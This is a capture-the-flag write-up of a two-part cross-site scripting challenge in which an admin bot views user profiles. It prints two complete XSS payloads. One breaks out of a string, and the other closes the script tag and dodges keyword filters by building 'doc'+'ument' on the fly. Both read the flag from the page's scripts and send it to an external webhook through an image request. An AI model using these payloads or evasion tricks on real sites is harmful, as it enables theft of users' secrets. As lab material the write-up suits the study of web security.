Part 1
We get a basic XSS setup. Submit your username and avatar, and both will be inserted directly into an inline script. You can report your profile so a bot loads it and runs your script. Simple. There is also an extra frontend validation layer but we can bypass that completely by simply POSTing the /review endpoint.
From page source we learn that the flag is inserted into the DOM for admin only by:
(function() {
const container = document.createElement('div');
container.id = 'secret';
const shadow = container.attachShadow({ mode: 'closed' });
shadow.innerHTML = '<p style="opacity: 0;">p_ctf{redacted-no-admin}</div>';
document.querySelector('.card').appendChild(container);
})();The whole "shadow" theme might be a misdirection (or a setup error), because the flag is still part of the HTML as well as the inline script above.
Close the quotation mark, then skim the scripts for the flag pattern.
";(()=>{
const js = [...document.scripts].map(s => s.textContent || "").join("\n");
const m = js.match(/p_ctf\{[^}]*\}/);
(new Image()).src = "https://webhook.site/[...]?flag=" + encodeURIComponent(m);
})();//Part 2
Part 2 add some extra server-side validation, namely banning double quotes and the document keyword, and making sure we provide a valid image for our avatar. So we make two changes:
Instead of closing the string (since
"is now banned) we close the whole script tag, then open a new one;Use
selfreference and construct a'doc'+'ument'property access on the fly, getting us past the filter.
Send any name and use any existing image as the avatar:
https://i.imgur.com/7cC92dR.jpeg</script><script>
const d=self['doc'+'ument'];
for(const s of d.scripts){
const m=/p_ctf\{[^}]+\}/.exec(s.text);
if(m){(new Image).src='https://webhook.site/[...]?f='+m[0];break;}
}
</script>Then report. Flag secured.